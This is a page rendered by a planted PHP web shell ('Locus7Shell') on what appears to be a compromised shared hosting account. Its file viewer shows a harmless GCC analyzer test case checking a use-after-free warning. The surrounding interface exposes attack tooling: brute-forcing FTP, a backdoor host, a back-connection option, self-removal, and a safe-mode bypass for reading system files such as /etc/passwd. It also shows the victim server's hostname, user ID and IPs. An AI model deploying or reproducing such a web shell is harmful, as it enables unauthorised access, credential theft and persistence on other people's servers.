Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/analyzer/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     vfunc-5.C (2.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-additional-options "-fdiagnostics-show-line-numbers -fdiagnostics-path-format=inline-events -fanalyzer-checker=malloc -fdiagnostics-show-caret" } */
/* { dg-enable-nn-line-numbers "" } */

#include <cstdlib>

struct Base
{
    virtual void allocate ();
    virtual void deallocate (); 
};

struct Derived: public Base
{
    int *ptr;
    void allocate ()
    {
        ptr = (int*)malloc(sizeof(int));
    }
    void deallocate () 
    { 
        free(ptr);
    }
};

void test()
{
    Derived D;
    Base B, *base_ptr;
    base_ptr = &D;

    D.allocate();
    base_ptr->deallocate();
    int n = *D.ptr;   /* { dg-warning "use after 'free' of 'D.Derived::ptr'" } */
}

/* use after 'free'  */
/* { dg-begin-multiline-output "" }
   NN |     int n = *D.ptr;
      |         ^
  'void test()': events 1-2
    |
    |   NN | void test()
    |      |      ^~~~
    |      |      |
    |      |      (1) entry to 'test'
    |......
    |   NN |     D.allocate();
    |      |     ~~~~~~~~~~~~
    |      |               |
    |      |               (2) calling 'Derived::allocate' from 'test'
    |
    +--> 'virtual void Derived::allocate()': events 3-4
           |
           |   NN |     void allocate ()
           |      |          ^~~~~~~~
           |      |          |
           |      |          (3) entry to 'Derived::allocate'
           |   NN |     {
           |   NN |         ptr = (int*)malloc(sizeof(int));
           |      |                     ~~~~~~~~~~~~~~~~~~~
           |      |                           |
           |      |                           (4) allocated here
           |
    <------+
    |
  'void test()': events 5-6
    |
    |   NN |     D.allocate();
    |      |     ~~~~~~~~~~^~
    |      |               |
    |      |               (5) returning to 'test' from 'Derived::allocate'
    |   NN |     base_ptr->deallocate();
    |      |     ~~~~~~~~~~~~~~~~~~~~~~
    |      |                         |
    |      |                         (6) calling 'Derived::deallocate' from 'test'
    |
    +--> 'virtual void Derived::deallocate()': events 7-8
           |
           |   NN |     void deallocate ()
           |      |          ^~~~~~~~~~
           |      |          |
           |      |          (7) entry to 'Derived::deallocate'
           |   NN |     {
           |   NN |         free(ptr);
           |      |         ~~~~~~~~~
           |      |             |
           |      |             (8) freed here
           |
    <------+
    |
  'void test()': events 9-10
    |
    |   NN |     base_ptr->deallocate();
    |      |     ~~~~~~~~~~~~~~~~~~~~^~
    |      |                         |
    |      |                         (9) returning to 'test' from 'Derived::deallocate'
    |   NN |     int n = *D.ptr;
    |      |         ~                
    |      |         |
    |      |         (10) use after 'free' of 'D.Derived::ptr'; freed at (8)
    |
   { dg-end-multiline-output "" } */


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--